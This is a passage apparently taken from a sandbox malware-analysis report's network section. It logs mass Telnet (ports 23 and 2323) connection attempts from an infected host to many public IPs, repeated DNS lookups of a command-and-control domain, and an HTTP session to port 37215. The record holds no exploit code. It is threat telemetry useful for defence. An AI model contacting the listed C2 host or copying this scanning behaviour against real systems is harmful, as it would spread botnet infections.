Nov 3, 2024 15:33:17.890589952 CET	23	50320	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.890640974 CET	50320	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.890911102 CET	23	44510	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.890949965 CET	44510	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.890953064 CET	50328	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.894043922 CET	23	59358	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.894136906 CET	59358	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.894437075 CET	59366	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.895138979 CET	2323	46902	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.895204067 CET	46902	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.895448923 CET	23	50320	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.895509005 CET	46910	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.895710945 CET	23	50328	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.895749092 CET	50328	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.895797014 CET	23	44510	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.895936012 CET	44510	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.896245956 CET	44518	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.898977041 CET	23	59358	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.899157047 CET	23	59366	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.899198055 CET	59366	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.900057077 CET	2323	46902	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.900311947 CET	2323	46910	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.900357962 CET	46910	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.900768042 CET	23	50328	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.900825024 CET	50328	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.900892973 CET	23	44510	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.901046991 CET	23	44518	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.901093006 CET	44518	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.901137114 CET	50336	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.904359102 CET	23	59366	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.904434919 CET	59366	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.904742002 CET	59374	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.905297041 CET	2323	46910	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.905359983 CET	46910	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.905675888 CET	46918	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.905730009 CET	23	50328	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.905920029 CET	23	50336	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.905957937 CET	50336	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.906013012 CET	23	44518	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.906076908 CET	44518	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.906378984 CET	44526	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.909190893 CET	23	59366	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.909471035 CET	23	59374	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.909508944 CET	59374	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.910145044 CET	2323	46910	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.910420895 CET	2323	46918	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.910456896 CET	46918	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.910914898 CET	23	50336	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.910974026 CET	50336	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.910991907 CET	23	44518	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.911230087 CET	23	44526	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.911272049 CET	44526	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.911298990 CET	50344	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.914516926 CET	23	59374	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.914586067 CET	59374	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.914886951 CET	59382	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.915352106 CET	2323	46918	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.915405035 CET	46918	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.915704966 CET	46926	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.915779114 CET	23	50336	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.916146040 CET	23	50344	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.916192055 CET	50344	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.919719934 CET	23	59374	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.919728994 CET	23	59382	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.919768095 CET	59382	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.920612097 CET	2323	46918	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.920634985 CET	2323	46926	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.920672894 CET	46926	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.925163984 CET	23	50344	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.925250053 CET	50344	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.925542116 CET	50350	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.925868988 CET	23	59382	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.925967932 CET	59382	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.926001072 CET	2323	46926	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.926261902 CET	59388	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.926657915 CET	46926	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.926944971 CET	46932	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.930155039 CET	23	50344	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.930557013 CET	23	50350	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.930589914 CET	50350	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.930778027 CET	23	59382	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.931087017 CET	23	59388	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.931129932 CET	59388	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.931406975 CET	2323	46926	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.931704998 CET	2323	46932	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.931740046 CET	46932	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.935651064 CET	23	50350	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.935719013 CET	50350	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.936031103 CET	50356	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.936104059 CET	23	59388	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.936425924 CET	59388	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.936650991 CET	2323	46932	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.936728001 CET	59394	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.937120914 CET	46932	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.937408924 CET	46938	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.940598011 CET	23	50350	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.940752983 CET	23	50356	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.940790892 CET	50356	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.941148043 CET	23	59388	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.941541910 CET	23	59394	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.941586018 CET	59394	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.941883087 CET	2323	46932	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.942441940 CET	2323	46938	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.942487001 CET	46938	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.945875883 CET	23	50356	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.945946932 CET	50356	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.946259975 CET	50362	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.946485996 CET	23	59394	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.946676970 CET	59394	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.946957111 CET	59400	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.950999022 CET	23	50356	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.951186895 CET	23	50362	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.951232910 CET	50362	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.951478958 CET	23	59394	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.951738119 CET	23	59400	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.951777935 CET	59400	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.956394911 CET	23	50362	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.956480026 CET	50362	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.956666946 CET	23	59400	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.956811905 CET	50366	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.957216978 CET	59400	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.957514048 CET	59404	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.961353064 CET	23	50362	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.961589098 CET	23	50366	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.961630106 CET	50366	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.961920023 CET	23	59400	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.962251902 CET	23	59404	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.962291002 CET	59404	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.966367006 CET	23	41434	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.966427088 CET	41434	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.966742039 CET	42450	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.967374086 CET	23	50366	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.967434883 CET	50366	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.967459917 CET	23	59404	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.967726946 CET	50372	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.968133926 CET	59404	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.968420982 CET	59410	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.971190929 CET	23	41434	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.971501112 CET	23	42450	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.971534967 CET	42450	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.972280979 CET	23	50366	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.972455025 CET	23	50372	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.972506046 CET	50372	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.972920895 CET	23	59404	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.973218918 CET	23	59410	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.973264933 CET	59410	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.976645947 CET	23	42450	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.976717949 CET	42450	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.977029085 CET	42456	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.978298903 CET	23	59410	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.978362083 CET	59410	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.978678942 CET	59414	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.981554031 CET	23	42450	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.981872082 CET	23	42456	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.981921911 CET	42456	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.983139038 CET	23	59410	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.983396053 CET	23	59414	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.983444929 CET	59414	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.987056017 CET	23	42456	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.987138987 CET	42456	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.987462997 CET	42460	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.988634109 CET	23	59414	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.988696098 CET	59414	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.988996983 CET	59418	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.991954088 CET	23	42456	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.992266893 CET	23	42460	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.992311954 CET	42460	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.993582010 CET	23	59414	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.993819952 CET	23	59418	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.993866920 CET	59418	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.997560024 CET	23	42460	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:17.997648954 CET	42460	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.997972965 CET	42464	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:17.998915911 CET	23	59418	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.998979092 CET	59418	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.999284029 CET	59422	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.002753019 CET	23	42460	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.002763033 CET	23	42464	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.002796888 CET	42464	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.003921986 CET	23	59418	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.004091978 CET	23	59422	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.004134893 CET	59422	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.008076906 CET	23	42464	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.008151054 CET	42464	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.008464098 CET	42468	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.009334087 CET	23	59422	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.009394884 CET	59422	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.009682894 CET	59426	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.012991905 CET	23	42464	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.013241053 CET	23	42468	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.013278961 CET	42468	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.014524937 CET	23	59422	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.014537096 CET	23	59426	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.014573097 CET	59426	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.018404007 CET	23	42468	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.018477917 CET	42468	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.018773079 CET	42472	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.019594908 CET	23	59426	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.019653082 CET	59426	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.019962072 CET	59430	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.023711920 CET	23	42468	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.023720980 CET	23	42472	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.023756027 CET	42472	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.024529934 CET	23	59426	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.024755001 CET	23	59430	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.024794102 CET	59430	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.028800964 CET	23	42472	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.028877020 CET	42472	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.029200077 CET	42476	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.029854059 CET	23	59430	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.029911041 CET	59430	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.030203104 CET	59434	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.033938885 CET	23	42472	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.034019947 CET	23	42476	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:18.034056902 CET	42476	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:18.034713984 CET	23	59430	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.034970045 CET	23	59434	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.035006046 CET	59434	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.042186022 CET	23	59434	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.042256117 CET	59434	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.042577028 CET	59436	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.047101021 CET	23	59434	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.047414064 CET	23	59436	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.047466993 CET	59436	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.052946091 CET	23	59436	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.053030968 CET	59436	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.053337097 CET	59438	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.058044910 CET	23	59436	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.059914112 CET	23	59438	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.059957981 CET	59438	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.065756083 CET	23	59438	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.065836906 CET	59438	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.066171885 CET	59440	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.070868015 CET	23	59438	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.071165085 CET	23	59440	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.071206093 CET	59440	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.076761961 CET	23	59440	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.076847076 CET	59440	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.077188015 CET	59442	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.082376003 CET	23	59440	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.082390070 CET	23	59442	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.082446098 CET	59442	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.088321924 CET	23	59442	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.088413954 CET	59442	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.088710070 CET	59444	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.093332052 CET	23	59442	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.094686031 CET	23	59444	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.094731092 CET	59444	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.099853992 CET	23	59444	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.100023031 CET	59444	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.100261927 CET	59446	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.104787111 CET	23	59444	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.105164051 CET	23	59446	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.105220079 CET	59446	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.110482931 CET	23	59446	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.110570908 CET	59446	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.110888958 CET	59448	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.115394115 CET	23	59446	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.115695000 CET	23	59448	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:18.115736008 CET	59448	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:18.115776062 CET	4833	2323	192.168.2.14	150.198.92.41
Nov 3, 2024 15:33:18.115796089 CET	4833	23	192.168.2.14	90.175.36.67
Nov 3, 2024 15:33:18.115798950 CET	4833	23	192.168.2.14	208.96.111.48
Nov 3, 2024 15:33:18.115804911 CET	4833	23	192.168.2.14	94.51.59.147
Nov 3, 2024 15:33:18.115806103 CET	4833	23	192.168.2.14	1.66.99.100
Nov 3, 2024 15:33:18.115816116 CET	4833	23	192.168.2.14	34.140.0.195
Nov 3, 2024 15:33:18.115832090 CET	4833	23	192.168.2.14	148.128.27.156
Nov 3, 2024 15:33:18.115837097 CET	4833	23	192.168.2.14	159.159.124.141
Nov 3, 2024 15:33:18.115894079 CET	4833	23	192.168.2.14	12.19.191.106
Nov 3, 2024 15:33:18.115894079 CET	4833	23	192.168.2.14	223.245.126.211
Nov 3, 2024 15:33:18.115900040 CET	4833	2323	192.168.2.14	178.65.141.245
Nov 3, 2024 15:33:18.115905046 CET	4833	23	192.168.2.14	199.88.25.79
Nov 3, 2024 15:33:18.115923882 CET	4833	23	192.168.2.14	45.165.80.119
Nov 3, 2024 15:33:18.115928888 CET	4833	23	192.168.2.14	223.124.163.245
Nov 3, 2024 15:33:18.115928888 CET	4833	23	192.168.2.14	91.14.186.144
Nov 3, 2024 15:33:18.115940094 CET	4833	23	192.168.2.14	87.191.61.192
Nov 3, 2024 15:33:18.115947962 CET	4833	23	192.168.2.14	148.100.220.111
Nov 3, 2024 15:33:18.115950108 CET	4833	23	192.168.2.14	43.116.227.223
Nov 3, 2024 15:33:18.115962982 CET	4833	23	192.168.2.14	93.44.87.96
Nov 3, 2024 15:33:18.115969896 CET	4833	23	192.168.2.14	91.243.57.137
Nov 3, 2024 15:33:18.115974903 CET	4833	2323	192.168.2.14	97.116.88.126
Nov 3, 2024 15:33:18.115986109 CET	4833	23	192.168.2.14	175.159.238.28
Nov 3, 2024 15:33:18.115991116 CET	4833	23	192.168.2.14	193.1.180.219
Nov 3, 2024 15:33:18.115997076 CET	4833	23	192.168.2.14	130.7.154.119
Nov 3, 2024 15:33:18.116000891 CET	4833	23	192.168.2.14	45.106.40.60
Nov 3, 2024 15:33:18.116000891 CET	4833	23	192.168.2.14	37.11.189.160
Nov 3, 2024 15:33:18.116013050 CET	4833	23	192.168.2.14	102.12.117.206
Nov 3, 2024 15:33:18.116014957 CET	4833	23	192.168.2.14	202.45.196.83
Nov 3, 2024 15:33:18.116023064 CET	4833	23	192.168.2.14	219.62.202.130
Nov 3, 2024 15:33:18.116030931 CET	4833	2323	192.168.2.14	196.215.227.227
Nov 3, 2024 15:33:18.116031885 CET	4833	23	192.168.2.14	48.26.246.172
Nov 3, 2024 15:33:18.116041899 CET	4833	23	192.168.2.14	183.66.224.245

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 3, 2024 15:33:03.900811911 CET	192.168.2.14	8.8.8.8	0x9548	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:04.952219963 CET	192.168.2.14	8.8.8.8	0xfdb6	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:05.976172924 CET	192.168.2.14	8.8.8.8	0x9f03	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:06.998850107 CET	192.168.2.14	8.8.8.8	0xc516	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:08.021426916 CET	192.168.2.14	8.8.8.8	0x9189	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:09.040558100 CET	192.168.2.14	8.8.8.8	0x4c48	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:10.069917917 CET	192.168.2.14	8.8.8.8	0x172d	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:11.055797100 CET	192.168.2.14	8.8.8.8	0x3c68	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:12.016968012 CET	192.168.2.14	8.8.8.8	0xfd92	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:13.035706043 CET	192.168.2.14	8.8.8.8	0x9d0e	Standard query (0)	cnc.ghtyuio.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 3, 2024 15:33:03.919095039 CET	8.8.8.8	192.168.2.14	0x9548	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:04.959466934 CET	8.8.8.8	192.168.2.14	0xfdb6	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:05.985774040 CET	8.8.8.8	192.168.2.14	0x9f03	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:07.009085894 CET	8.8.8.8	192.168.2.14	0xc516	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:08.027874947 CET	8.8.8.8	192.168.2.14	0x9189	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:09.053160906 CET	8.8.8.8	192.168.2.14	0x4c48	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:10.086787939 CET	8.8.8.8	192.168.2.14	0x172d	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:11.063119888 CET	8.8.8.8	192.168.2.14	0x3c68	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:12.023874044 CET	8.8.8.8	192.168.2.14	0xfd92	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false
Nov 3, 2024 15:33:13.046196938 CET	8.8.8.8	192.168.2.14	0x9d0e	No error (0)	cnc.ghtyuio.online	198.12.107.126	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	33698	197.223.76.128	37215

Timestamp	Bytes transferred	Direction	Data
